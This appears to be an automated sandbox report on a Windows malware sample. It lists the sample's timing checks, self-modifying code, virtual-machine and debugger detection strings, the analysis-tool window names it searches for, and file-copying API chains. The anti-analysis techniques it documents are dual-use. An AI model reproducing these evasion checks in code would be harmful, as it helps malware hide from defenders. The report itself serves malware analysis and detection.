Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C9812 second address: 11C983C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC83CB64D36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jmp 00007FC83CB64D47h 0x00000010 push eax 0x00000011 push edx 0x00000012 jnl 00007FC83CB64D36h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CF47D second address: 11CF4B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007FC83CB776CCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CF4B4 second address: 11CF4D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC83CB64D48h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5ED6 second address: 11D5EF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB776B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5EF1 second address: 11D5EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5EF7 second address: 11D5F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FC83CB776A8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5F04 second address: 11D5F0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FC83CB64D36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD7B5 second address: 11DD7B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD7B9 second address: 11DD7F5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC83CB64D43h 0x0000000b push eax 0x0000000c jmp 00007FC83CB64D44h 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007FC83CB64D3Ah 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD7F5 second address: 11DD7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD62D second address: 11DD645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 jmp 00007FC83CB64D41h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD645 second address: 11DD65F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC83CB776B6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DEEA3 second address: 11DEED2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB64D3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC83CB64D44h 0x00000010 jnc 00007FC83CB64D36h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5759 second address: 11E575D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E575D second address: 11E5761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5E72 second address: 11E5E76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5E76 second address: 11E5E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5FE2 second address: 11E5FE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5FE6 second address: 11E6005 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB64D3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jo 00007FC83CB64D36h 0x00000010 jng 00007FC83CB64D36h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6005 second address: 11E6034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC83CB776B3h 0x0000000f jmp 00007FC83CB776B2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6034 second address: 11E6038 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6A0D second address: 11E6A11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6A11 second address: 11E6A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6A17 second address: 11E6A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FC83CB776A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA276 second address: 11EA294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FC83CB64D36h 0x0000000a jmp 00007FC83CB64D44h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA294 second address: 11EA2AB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC83CB776A6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jbe 00007FC83CB776C8h 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA2AB second address: 11EA2B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA2B4 second address: 11EA2BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FC83CB776A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F8D89 second address: 11F8DA2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC83CB64D36h 0x00000008 jns 00007FC83CB64D36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 jp 00007FC83CB64D36h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F479F second address: 11F47A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F47A3 second address: 11F47B5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC83CB64D36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FC83CB64D36h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216740 second address: 121674F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FC83CB776A6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121674F second address: 1216755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216755 second address: 1216761 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC83CB776A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216761 second address: 1216775 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB64D3Fh 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1215841 second address: 121584B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FC83CB776A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121584B second address: 1215855 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC83CB64D36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1215855 second address: 121586D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC83CB776B2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121586D second address: 1215893 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC83CB64D42h 0x00000009 jmp 00007FC83CB64D40h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12159D5 second address: 12159D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12159D9 second address: 12159DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1215B2B second address: 1215B5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007FC83CB776A6h 0x0000000b jmp 00007FC83CB776B4h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push edx 0x00000014 jng 00007FC83CB776A8h 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d push edx 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1215DFB second address: 1215DFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12160AC second address: 12160B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FC83CB776A6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12160B7 second address: 12160C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12163BB second address: 12163C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12163C1 second address: 12163C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12163C5 second address: 12163E8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC83CB776A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jmp 00007FC83CB776B1h 0x00000010 jng 00007FC83CB776A6h 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12163E8 second address: 12163EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12163EE second address: 1216407 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB776B5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216407 second address: 121643E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC83CB64D45h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FC83CB64D45h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121643E second address: 1216442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216442 second address: 121644E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121644E second address: 1216452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216452 second address: 121645B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12191B0 second address: 12191B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219422 second address: 1219439 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB64D43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219439 second address: 1219453 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC83CB776ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b je 00007FC83CB776AEh 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12197BA second address: 12197FF instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC83CB64D38h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007FC83CB64D42h 0x00000014 jmp 00007FC83CB64D3Ch 0x00000019 popad 0x0000001a pushad 0x0000001b jmp 00007FC83CB64D44h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12197FF second address: 1219847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push dword ptr [ebp+122D1B2Fh] 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FC83CB776A8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 push ecx 0x00000028 mov dl, 08h 0x0000002a pop edx 0x0000002b jmp 00007FC83CB776ADh 0x00000030 call 00007FC83CB776A9h 0x00000035 push edi 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219847 second address: 121985A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jns 00007FC83CB64D36h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121985A second address: 1219865 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FC83CB776A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219865 second address: 1219874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219874 second address: 12198AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC83CB776B7h 0x00000009 popad 0x0000000a jmp 00007FC83CB776B5h 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12198AE second address: 12198B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12198B4 second address: 12198DA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC83CB776B4h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007FC83CB776A8h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121AB69 second address: 121AB6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121AB6D second address: 121AB71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121C387 second address: 121C3A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC83CB64D49h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA02B6 second address: 4DA032C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FC83CB776AAh 0x00000009 pop esi 0x0000000a popad 0x0000000b mov esi, edx 0x0000000d popad 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FC83CB776B8h 0x00000016 xor ecx, 6C0E6DC8h 0x0000001c jmp 00007FC83CB776ABh 0x00000021 popfd 0x00000022 mov ebx, esi 0x00000024 popad 0x00000025 mov dword ptr [esp], ebp 0x00000028 jmp 00007FC83CB776B2h 0x0000002d mov ebp, esp 0x0000002f jmp 00007FC83CB776B0h 0x00000034 pop ebp 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 mov edi, 1B0E1570h 0x0000003d mov dh, 18h 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1147BE5 second address: 1147BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F91BFE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1134A78 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F91B22 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1143AA1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11C37E2 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D438B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00D438B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D44910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D44910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00D3DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00D3E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D44570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00D44570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00D3ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D316D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D316D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3F68A FindFirstFileA,	0_2_00D3F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D3F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D43EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00D43EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00D3BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D3DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D31160 GetSystemInfo,ExitProcess,

0_2_00D31160

Source: file.exe, file.exe, 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2120585250.0000000000902000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2120585250.0000000000934000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2120585250.0000000000918000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2120585250.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13443
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13392
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13389
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13403
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13411

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D345C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00D345C0

